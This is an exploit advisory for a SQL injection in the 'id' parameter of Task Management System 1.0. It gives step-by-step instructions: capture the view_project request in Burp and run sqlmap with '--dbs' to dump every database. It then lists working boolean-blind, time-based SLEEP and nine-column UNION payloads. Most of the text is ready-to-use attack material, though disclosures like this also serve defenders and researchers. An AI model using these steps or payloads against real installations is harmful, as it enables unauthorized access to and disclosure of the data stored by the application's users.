Authored by Saeed Bala Ahmed

Task Management System version 1.0 suffers from a remote SQL injection vulnerability.

# Exploit Title: Task Management System 1.0 - 'id' SQL Injection
# Exploit Author: Saeed Bala Ahmed (r0b0tG4nG)
# Date: 2020-12-08
# Google Dork: N/A
# Vendor Homepage: https://www.sourcecodester.com/php/14615/task-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14615&title=Task+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Affected Version: Version 1
# Category: Web Application
# Tested on: Parrot OS

Step 1. Log into application with credentials
Step 2. Click on Projects
Step 3. Select View Projects
Step 4. Choose any project, click on action and select view
Step 5. Capture the request of the "page=view_project&id=" page in burpsute
Step 6. Save request and run sqlmap on request file using command " sqlmap -r request -p id --time-sec=5 --dbs "
Step 7. This will inject successfully and you will have an information disclosure of all databases contents

---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: page=view_project&id=3 AND 5169=5169

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=view_project&id=3 AND (SELECT 3991 FROM (SELECT(SLEEP(5)))NOXH)

Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: page=view_project&id=-2597 UNION ALL SELECT NULL,NULL,CONCAT(0x717a627a71,0x5a46784156705a6e654b6a454d44767155796a466f41436c6667585763424b534a4f4c4e52775a45,0x7176767071),NULL,NULL,NULL,NULL,NULL,NULL-- -
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